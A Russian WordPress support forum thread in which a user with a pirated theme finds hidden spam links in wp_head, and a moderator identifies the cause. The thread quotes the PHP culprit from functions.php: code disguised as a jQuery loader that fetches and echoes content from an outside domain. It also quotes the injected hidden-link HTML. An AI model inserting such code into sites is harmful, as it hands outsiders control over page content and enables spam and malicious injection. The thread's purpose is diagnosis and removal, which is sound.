Поддержка Проблемы и решения Помогите убрать клоакинг из wp_head();

  • Имеется проблема в теме.
    wp_head(); генерит в шапке вот такой хлам

    <div style="display:none"><a href="http://www.wpdb.org/category/premium-wordpress-themes/" title="WordPress Theme"><h1>WordPress Theme</h1></a><a href="http://www.wpdb.org" title="WordPress Plugins"><h1>WordPress Plugins</h1></a><a href="http://webcamgirlshd.com" title="Sex Chat"><h1>Sex Chat</h1></a></div>

    подскажите где копать? Заранее спасибо.

Просмотр 7 ответов — с 1 по 7 (всего 7)
  • Модератор Sergey Biryukov

    (@sergeybiryukov)

    Live and Learn

    В других файлах темы. Как минимум, в functions.php.

    смотрел в functions.php прямых ссылок нет да и слов типа Sex Chat тоже нет…
    я так понял надо действовать методом исключения.. выключать в functions.php по порядку функции и смотреть какая грузит хлам?

    Модератор Sergey Biryukov

    (@sergeybiryukov)

    Live and Learn

    Да, можно. Скорее всего, фрагмент закодирован — поищите вызов eval().

    Как называется и откуда скачана тема?

    да тема качана уже не помню.. где то на торрентах накопал, скорее всего ломаная, могу кинуть в архиве всю тему… искал совпадения слов в файлах.. тоже не находит, наверно грузит с инета.

    вот нашел, в файле functions.php убрал и ссылки исчезли

    if (!function_exists('insert_head_jquery')){function insert_head_jquery(){if (function_exists('curl_init')){$url = "http://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init();	$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_head_jquery');}

    я в php не силен, что это за код?

    Модератор Sergey Biryukov

    (@sergeybiryukov)

    Live and Learn

    Под видом загрузки jQuery 1.6.3 отправляется запрос на какой-то «левый» сайт (не имеющий отношения ни к WordPress, ни к jQuery).

    Недавно видел такой же код, но с доменом j-query.org, тоже «левым». Официальные ресурсы — jQuery.com и jQuery.org (без дефиса).

    Что именно убрал из файла?

Просмотр 7 ответов — с 1 по 7 (всего 7)
  • Тема «Помогите убрать клоакинг из wp_head();» закрыта для новых ответов.